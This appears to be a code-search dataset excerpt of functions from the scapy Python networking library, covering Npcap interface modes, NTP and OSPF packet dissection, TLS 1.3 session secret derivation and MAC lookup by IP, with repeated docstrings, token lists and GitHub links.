def setmonitor(self, enable=True): """Alias for setmode('monitor') or setmode('managed') Only available with Npcap""" # We must reset the monitor cache if enable: res = self.setmode('monitor') else: res = self.setmode('managed') if not res: ...
def setmonitor(self, enable=True): """Alias for setmode('monitor') or setmode('managed') Only available with Npcap""" # We must reset the monitor cache if enable: res = self.setmode('monitor') else: res = self.setmode('managed') if not res: ...
[ "Alias", "for", "setmode", "(", "monitor", ")", "or", "setmode", "(", "managed", ")", "Only", "available", "with", "Npcap" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L426-L438
[ "def", "setmonitor", "(", "self", ",", "enable", "=", "True", ")", ":", "# We must reset the monitor cache", "if", "enable", ":", "res", "=", "self", ".", "setmode", "(", "'monitor'", ")", "else", ":", "res", "=", "self", ".", "setmode", "(", "'managed'", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterface.setmode
Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and later) - 3 or wfd_device: The W...
scapy/arch/windows/__init__.py
def setmode(self, mode): """Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and lat...
def setmode(self, mode): """Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and lat...
[ "Set", "the", "interface", "mode", ".", "It", "can", "be", ":", "-", "0", "or", "managed", ":", "Managed", "Mode", "(", "aka", "Extensible", "Station", "Mode", ")", "-", "1", "or", "monitor", ":", "Monitor", "Mode", "(", "aka", "Network", "Monitor", ...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L447-L471
[ "def", "setmode", "(", "self", ",", "mode", ")", ":", "# According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501", "self", ".", "_check_npcap_requirement", "(", ")", "_modes", "=", "{", "0", ":", "\"managed\"", ",", "1", ":", "\"m...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterface.setmodulation
Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mimo-ofdm - the value directly ...
scapy/arch/windows/__init__.py
def setmodulation(self, modu): """Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mim...
def setmodulation(self, modu): """Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mim...
[ "Set", "the", "interface", "modulation", ".", "It", "can", "be", ":", "-", "0", ":", "dsss", "-", "1", ":", "fhss", "-", "2", ":", "irbaseband", "-", "3", ":", "ofdm", "-", "4", ":", "hrdss", "-", "5", ":", "erp", "-", "6", ":", "ht", "-", ...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L515-L546
[ "def", "setmodulation", "(", "self", ",", "modu", ")", ":", "# According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501", "self", ".", "_check_npcap_requirement", "(", ")", "_modus", "=", "{", "0", ":", "\"dsss\"", ",", "1", ":", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterfaceDict._pcap_check
Performs checks/restart pcap adapter
scapy/arch/windows/__init__.py
def _pcap_check(cls): """Performs checks/restart pcap adapter""" if not conf.use_winpcapy: # Winpcap/Npcap isn't installed return _detect = pcap_service_status() def _ask_user(): if not conf.interactive: return False msg =...
def _pcap_check(cls): """Performs checks/restart pcap adapter""" if not conf.use_winpcapy: # Winpcap/Npcap isn't installed return _detect = pcap_service_status() def _ask_user(): if not conf.interactive: return False msg =...
[ "Performs", "checks", "/", "restart", "pcap", "adapter" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L595-L639
[ "def", "_pcap_check", "(", "cls", ")", ":", "if", "not", "conf", ".", "use_winpcapy", ":", "# Winpcap/Npcap isn't installed", "return", "_detect", "=", "pcap_service_status", "(", ")", "def", "_ask_user", "(", ")", ":", "if", "not", "conf", ".", "interactive",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterfaceDict.dev_from_name
Return the first pcap device name for a given Windows device name.
scapy/arch/windows/__init__.py
def dev_from_name(self, name): """Return the first pcap device name for a given Windows device name. """ try: return next(iface for iface in six.itervalues(self) if (iface.name == name or iface.description == name)) except (StopIteration, Runti...
def dev_from_name(self, name): """Return the first pcap device name for a given Windows device name. """ try: return next(iface for iface in six.itervalues(self) if (iface.name == name or iface.description == name)) except (StopIteration, Runti...
[ "Return", "the", "first", "pcap", "device", "name", "for", "a", "given", "Windows", "device", "name", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L686-L694
[ "def", "dev_from_name", "(", "self", ",", "name", ")", ":", "try", ":", "return", "next", "(", "iface", "for", "iface", "in", "six", ".", "itervalues", "(", "self", ")", "if", "(", "iface", ".", "name", "==", "name", "or", "iface", ".", "description"...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterfaceDict.dev_from_pcapname
Return Windows device name for given pcap device name.
scapy/arch/windows/__init__.py
def dev_from_pcapname(self, pcap_name): """Return Windows device name for given pcap device name.""" try: return next(iface for iface in six.itervalues(self) if iface.pcap_name == pcap_name) except (StopIteration, RuntimeError): raise ValueError("U...
def dev_from_pcapname(self, pcap_name): """Return Windows device name for given pcap device name.""" try: return next(iface for iface in six.itervalues(self) if iface.pcap_name == pcap_name) except (StopIteration, RuntimeError): raise ValueError("U...
[ "Return", "Windows", "device", "name", "for", "given", "pcap", "device", "name", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L696-L702
[ "def", "dev_from_pcapname", "(", "self", ",", "pcap_name", ")", ":", "try", ":", "return", "next", "(", "iface", "for", "iface", "in", "six", ".", "itervalues", "(", "self", ")", "if", "iface", ".", "pcap_name", "==", "pcap_name", ")", "except", "(", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterfaceDict.dev_from_index
Return interface name from interface index
scapy/arch/windows/__init__.py
def dev_from_index(self, if_index): """Return interface name from interface index""" try: if_index = int(if_index) # Backward compatibility return next(iface for iface in six.itervalues(self) if iface.win_index == if_index) except (StopIteration, ...
def dev_from_index(self, if_index): """Return interface name from interface index""" try: if_index = int(if_index) # Backward compatibility return next(iface for iface in six.itervalues(self) if iface.win_index == if_index) except (StopIteration, ...
[ "Return", "interface", "name", "from", "interface", "index" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L704-L715
[ "def", "dev_from_index", "(", "self", ",", "if_index", ")", ":", "try", ":", "if_index", "=", "int", "(", "if_index", ")", "# Backward compatibility", "return", "next", "(", "iface", "for", "iface", "in", "six", ".", "itervalues", "(", "self", ")", "if", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterfaceDict.reload
Reload interface list
scapy/arch/windows/__init__.py
def reload(self): """Reload interface list""" self.restarted_adapter = False self.data.clear() if conf.use_winpcapy: # Reload from Winpcapy from scapy.arch.pcapdnet import load_winpcapy load_winpcapy() self.load() # Reload conf.iface ...
def reload(self): """Reload interface list""" self.restarted_adapter = False self.data.clear() if conf.use_winpcapy: # Reload from Winpcapy from scapy.arch.pcapdnet import load_winpcapy load_winpcapy() self.load() # Reload conf.iface ...
[ "Reload", "interface", "list" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L717-L727
[ "def", "reload", "(", "self", ")", ":", "self", ".", "restarted_adapter", "=", "False", "self", ".", "data", ".", "clear", "(", ")", "if", "conf", ".", "use_winpcapy", ":", "# Reload from Winpcapy", "from", "scapy", ".", "arch", ".", "pcapdnet", "import", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterfaceDict.show
Print list of available network interfaces in human readable form
scapy/arch/windows/__init__.py
def show(self, resolve_mac=True, print_result=True): """Print list of available network interfaces in human readable form""" res = [] for iface_name in sorted(self.data): dev = self.data[iface_name] mac = dev.mac if resolve_mac and conf.manufdb: ...
def show(self, resolve_mac=True, print_result=True): """Print list of available network interfaces in human readable form""" res = [] for iface_name in sorted(self.data): dev = self.data[iface_name] mac = dev.mac if resolve_mac and conf.manufdb: ...
[ "Print", "list", "of", "available", "network", "interfaces", "in", "human", "readable", "form" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L729-L749
[ "def", "show", "(", "self", ",", "resolve_mac", "=", "True", ",", "print_result", "=", "True", ")", ":", "res", "=", "[", "]", "for", "iface_name", "in", "sorted", "(", "self", ".", "data", ")", ":", "dev", "=", "self", ".", "data", "[", "iface_nam...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
CANSocket.select
This function is called during sendrecv() routine to select the available sockets.
scapy/contrib/cansocket_python_can.py
def select(sockets, remain=None): """This function is called during sendrecv() routine to select the available sockets. """ if remain is not None: max_timeout = remain / len(sockets) for s in sockets: if s.timeout > max_timeout: ...
def select(sockets, remain=None): """This function is called during sendrecv() routine to select the available sockets. """ if remain is not None: max_timeout = remain / len(sockets) for s in sockets: if s.timeout > max_timeout: ...
[ "This", "function", "is", "called", "during", "sendrecv", "()", "routine", "to", "select", "the", "available", "sockets", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/cansocket_python_can.py#L80-L92
[ "def", "select", "(", "sockets", ",", "remain", "=", "None", ")", ":", "if", "remain", "is", "not", "None", ":", "max_timeout", "=", "remain", "/", "len", "(", "sockets", ")", "for", "s", "in", "sockets", ":", "if", "s", ".", "timeout", ">", "max_t...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_ntp_dispatcher
Returns the right class for a given NTP packet.
scapy/layers/ntp.py
def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is None: return NTPHeader else: ...
def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is None: return NTPHeader else: ...
[ "Returns", "the", "right", "class", "for", "a", "given", "NTP", "packet", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L167-L182
[ "def", "_ntp_dispatcher", "(", "payload", ")", ":", "# By default, calling NTP() will build a NTP packet as defined in RFC 5905", "# (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.", "if", "payload", "is", "None", ":", "return", "NTPHeader", "else", ":", "l...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NTP.pre_dissect
Check that the payload is long enough to build a NTP packet.
scapy/layers/ntp.py
def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) ...
def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) ...
[ "Check", "that", "the", "payload", "is", "long", "enough", "to", "build", "a", "NTP", "packet", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L199-L208
[ "def", "pre_dissect", "(", "self", ",", "s", ")", ":", "length", "=", "len", "(", "s", ")", "if", "length", "<", "_NTP_PACKET_MIN_SIZE", ":", "err", "=", "\" ({}\"", ".", "format", "(", "length", ")", "+", "\" is < _NTP_PACKET_MIN_SIZE \"", "err", "+=", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NTP.haslayer
Specific: NTPHeader().haslayer(NTP) should return True.
scapy/layers/ntp.py
def haslayer(self, cls): """Specific: NTPHeader().haslayer(NTP) should return True.""" if cls == "NTP": if isinstance(self, NTP): return True elif issubtype(cls, NTP): if isinstance(self, cls): return True return super(NTP, self).ha...
def haslayer(self, cls): """Specific: NTPHeader().haslayer(NTP) should return True.""" if cls == "NTP": if isinstance(self, NTP): return True elif issubtype(cls, NTP): if isinstance(self, cls): return True return super(NTP, self).ha...
[ "Specific", ":", "NTPHeader", "()", ".", "haslayer", "(", "NTP", ")", "should", "return", "True", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L212-L220
[ "def", "haslayer", "(", "self", ",", "cls", ")", ":", "if", "cls", "==", "\"NTP\"", ":", "if", "isinstance", "(", "self", ",", "NTP", ")", ":", "return", "True", "elif", "issubtype", "(", "cls", ",", "NTP", ")", ":", "if", "isinstance", "(", "self"...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NTPHeader.guess_payload_class
Handles NTPv4 extensions and MAC part (when authentication is used.)
scapy/layers/ntp.py
def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions elif plen == _NTP_AUTH_MD5_TAIL_SIZE: return NTPAuthen...
def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions elif plen == _NTP_AUTH_MD5_TAIL_SIZE: return NTPAuthen...
[ "Handles", "NTPv4", "extensions", "and", "MAC", "part", "(", "when", "authentication", "is", "used", ".", ")" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L464-L475
[ "def", "guess_payload_class", "(", "self", ",", "payload", ")", ":", "plen", "=", "len", "(", "payload", ")", "if", "plen", ">", "_NTP_AUTH_MD5_TAIL_SIZE", ":", "return", "NTPExtensions", "elif", "plen", "==", "_NTP_AUTH_MD5_TAIL_SIZE", ":", "return", "NTPAuthen...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
connState.sslv2_derive_keys
There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere.
scapy/layers/tls/session.py
def sslv2_derive_keys(self, key_material): """ There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere. """ skip_first = True if ((sel...
def sslv2_derive_keys(self, key_material): """ There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere. """ skip_first = True if ((sel...
[ "There", "is", "actually", "only", "one", "key", "the", "CLIENT", "-", "READ", "-", "KEY", "or", "-", "WRITE", "-", "KEY", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L219-L240
[ "def", "sslv2_derive_keys", "(", "self", ",", "key_material", ")", ":", "skip_first", "=", "True", "if", "(", "(", "self", ".", "connection_end", "==", "\"client\"", "and", "self", ".", "row", "==", "\"read\"", ")", "or", "(", "self", ".", "connection_end"...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
connState.snapshot
This is used mostly as a way to keep the cipher state and the seq_num.
scapy/layers/tls/session.py
def snapshot(self): """ This is used mostly as a way to keep the cipher state and the seq_num. """ snap = connState(connection_end=self.connection_end, read_or_write=self.row, seq_num=self.seq_num, compression_alg...
def snapshot(self): """ This is used mostly as a way to keep the cipher state and the seq_num. """ snap = connState(connection_end=self.connection_end, read_or_write=self.row, seq_num=self.seq_num, compression_alg...
[ "This", "is", "used", "mostly", "as", "a", "way", "to", "keep", "the", "cipher", "state", "and", "the", "seq_num", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L250-L263
[ "def", "snapshot", "(", "self", ")", ":", "snap", "=", "connState", "(", "connection_end", "=", "self", ".", "connection_end", ",", "read_or_write", "=", "self", ".", "row", ",", "seq_num", "=", "self", ".", "seq_num", ",", "compression_alg", "=", "type", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
tlsSession.mirror
This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of messages from both the client...
scapy/layers/tls/session.py
def mirror(self): """ This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of...
def mirror(self): """ This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of...
[ "This", "function", "takes", "a", "tlsSession", "object", "and", "swaps", "the", "IP", "addresses", "ports", "connection", "ends", "and", "connection", "states", ".", "The", "triggered_commit", "are", "also", "swapped", "(", "though", "it", "is", "probably", "...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L469-L513
[ "def", "mirror", "(", "self", ")", ":", "self", ".", "ipdst", ",", "self", ".", "ipsrc", "=", "self", ".", "ipsrc", ",", "self", ".", "ipdst", "self", ".", "dport", ",", "self", ".", "sport", "=", "self", ".", "sport", ",", "self", ".", "dport", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
tlsSession.compute_tls13_early_secrets
Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only.
scapy/layers/tls/session.py
def compute_tls13_early_secrets(self): """ Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only. """ # we use the prcs rather than the pwcs in a totally arbitrary way if self.prcs is None: # too soon ...
def compute_tls13_early_secrets(self): """ Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only. """ # we use the prcs rather than the pwcs in a totally arbitrary way if self.prcs is None: # too soon ...
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "for", "0", "-", "RTT", "data", ".", "self", ".", "handshake_messages", "should", "be", "ClientHello", "only", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L567-L605
[ "def", "compute_tls13_early_secrets", "(", "self", ")", ":", "# we use the prcs rather than the pwcs in a totally arbitrary way", "if", "self", ".", "prcs", "is", "None", ":", "# too soon", "return", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "self", ".", "tls13...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
tlsSession.compute_tls13_handshake_secrets
Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello.
scapy/layers/tls/session.py
def compute_tls13_handshake_secrets(self): """ Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello. """ if self.tls13_early_secret is None: warning("No early secret. This is abnormal.") hk...
def compute_tls13_handshake_secrets(self): """ Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello. """ if self.tls13_early_secret is None: warning("No early secret. This is abnormal.") hk...
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "for", "Handshake", "data", ".", "self", ".", "handshake_messages", "should", "be", "ClientHello", "...", "ServerHello", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L607-L635
[ "def", "compute_tls13_handshake_secrets", "(", "self", ")", ":", "if", "self", ".", "tls13_early_secret", "is", "None", ":", "warning", "(", "\"No early secret. This is abnormal.\"", ")", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "self", ".", "tls13_handshake...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
tlsSession.compute_tls13_traffic_secrets
Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished.
scapy/layers/tls/session.py
def compute_tls13_traffic_secrets(self): """ Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished. """ hkdf = self.prcs.hkdf self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret, ...
def compute_tls13_traffic_secrets(self): """ Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished. """ hkdf = self.prcs.hkdf self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret, ...
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "for", "Application", "data", ".", "self", ".", "handshake_messages", "should", "be", "ClientHello", "...", "ServerFinished", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L637-L667
[ "def", "compute_tls13_traffic_secrets", "(", "self", ")", ":", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "self", ".", "tls13_master_secret", "=", "hkdf", ".", "extract", "(", "self", ".", "tls13_handshake_secret", ",", "None", ")", "cts0", "=", "hkdf", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
tlsSession.compute_tls13_resumption_secret
self.handshake_messages should be ClientHello...ClientFinished.
scapy/layers/tls/session.py
def compute_tls13_resumption_secret(self): """ self.handshake_messages should be ClientHello...ClientFinished. """ if self.connection_end == "server": hkdf = self.prcs.hkdf elif self.connection_end == "client": hkdf = self.pwcs.hkdf rs = hkdf.deriv...
def compute_tls13_resumption_secret(self): """ self.handshake_messages should be ClientHello...ClientFinished. """ if self.connection_end == "server": hkdf = self.prcs.hkdf elif self.connection_end == "client": hkdf = self.pwcs.hkdf rs = hkdf.deriv...
[ "self", ".", "handshake_messages", "should", "be", "ClientHello", "...", "ClientFinished", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L699-L710
[ "def", "compute_tls13_resumption_secret", "(", "self", ")", ":", "if", "self", ".", "connection_end", "==", "\"server\"", ":", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "elif", "self", ".", "connection_end", "==", "\"client\"", ":", "hkdf", "=", "self",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
tlsSession.compute_tls13_next_traffic_secrets
Ciphers key and IV are updated accordingly.
scapy/layers/tls/session.py
def compute_tls13_next_traffic_secrets(self): """ Ciphers key and IV are updated accordingly. """ hkdf = self.prcs.hkdf hl = hkdf.hash.digest_size cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, "...
def compute_tls13_next_traffic_secrets(self): """ Ciphers key and IV are updated accordingly. """ hkdf = self.prcs.hkdf hl = hkdf.hash.digest_size cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, "...
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L712-L732
[ "def", "compute_tls13_next_traffic_secrets", "(", "self", ")", ":", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "hl", "=", "hkdf", ".", "hash", ".", "digest_size", "cts", "=", "self", ".", "tls13_derived_secrets", "[", "\"client_traffic_secrets\"", "]", "ct...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_GenericTLSSessionInheritance.show2
Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the cipher context has been update...
scapy/layers/tls/session.py
def show2(self): """ Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the c...
def show2(self): """ Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the c...
[ "Rebuild", "the", "TLS", "packet", "with", "the", "same", "context", "and", "then", ".", "show", "()", "it", ".", "We", "need", "self", ".", "__class__", "to", "call", "the", "subclass", "in", "a", "dynamic", "way", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L897-L919
[ "def", "show2", "(", "self", ")", ":", "s", "=", "self", ".", "tls_session", "rcs_snap", "=", "s", ".", "rcs", ".", "snapshot", "(", ")", "wcs_snap", "=", "s", ".", "wcs", ".", "snapshot", "(", ")", "s", ".", "rcs", "=", "self", ".", "rcs_snap_in...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_LLSGuessPayloadClass
Guess the correct LLS class for a given payload
scapy/contrib/ospf.py
def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 3: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs)
def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 3: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs)
[ "Guess", "the", "correct", "LLS", "class", "for", "a", "given", "payload" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/ospf.py#L172-L180
[ "def", "_LLSGuessPayloadClass", "(", "p", ",", "*", "*", "kargs", ")", ":", "cls", "=", "conf", ".", "raw_layer", "if", "len", "(", "p", ")", ">=", "3", ":", "typ", "=", "struct", ".", "unpack", "(", "\"!H\"", ",", "p", "[", "0", ":", "2", "]",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_OSPFv3_LSAGuessPayloadClass
Guess the correct OSPFv3 LSA class for a given payload
scapy/contrib/ospf.py
def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs)
def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs)
[ "Guess", "the", "correct", "OSPFv3", "LSA", "class", "for", "a", "given", "payload" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/ospf.py#L515-L525
[ "def", "_OSPFv3_LSAGuessPayloadClass", "(", "p", ",", "*", "*", "kargs", ")", ":", "cls", "=", "conf", ".", "raw_layer", "if", "len", "(", "p", ")", ">=", "6", ":", "typ", "=", "struct", ".", "unpack", "(", "\"!H\"", ",", "p", "[", "2", ":", "4",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
getmacbyip
Return MAC address corresponding to a given IP address
scapy/layers/l2.py
def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip, Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) tmp = [orb(e) for e in inet_aton(ip)] if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%...
def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip, Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) tmp = [orb(e) for e in inet_aton(ip)] if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%...
[ "Return", "MAC", "address", "corresponding", "to", "a", "given", "IP", "address" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L70-L102
